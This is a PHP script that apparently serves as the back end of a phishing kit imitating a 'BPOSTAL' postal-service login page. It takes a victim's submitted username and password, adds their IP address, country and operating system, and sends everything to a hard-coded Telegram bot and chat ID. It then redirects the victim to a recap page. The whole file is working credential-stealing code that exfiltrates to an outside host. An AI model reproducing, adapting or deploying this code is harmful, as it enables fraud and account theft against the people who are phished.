<?php

include_once 'functions.php';

$bot_id = "8260663673:AAGD2NsNgjmAbtQLcSeAyGZQcYX2Kv7LT9s";
$chat_id = "6983836117";

$json = file_get_contents('php://input');
$data = json_decode($json);
	
$message = '[🆘] +1 LOG BPOSTAL [🆘]' . "\r\n\n";

$message .= '🚀 USER  : ' . $data->identifiant . " \r\n\n";
$message .= '🚀 MOT DE PASSE : ' . $data->password . " \r\n\n";

$message .= '[🤖] TIERS [🤖]' . "\r\n\n";

$message .= '🤖 IP : ' . get_user_ip() . "\r\n";
$message .= '🤖 Pays : ' . get_user_country() . "\r\n";
$message .= '🤖 Systeme : ' . get_user_os() . "\r\n";

$url = "https://api.telegram.org/bot8260663673:AAGD2NsNgjmAbtQLcSeAyGZQcYX2Kv7LT9s" . $token . "/sendMessage?chat_id=6983836117" . $chat_id . "&text=" . urlencode($message);

file_get_contents($url);

// Utilisation de JavaScript pour la redirection
echo '<script type="text/javascript">';
echo 'window.location.href = "../../recap.php";';
echo '</script>';

?>
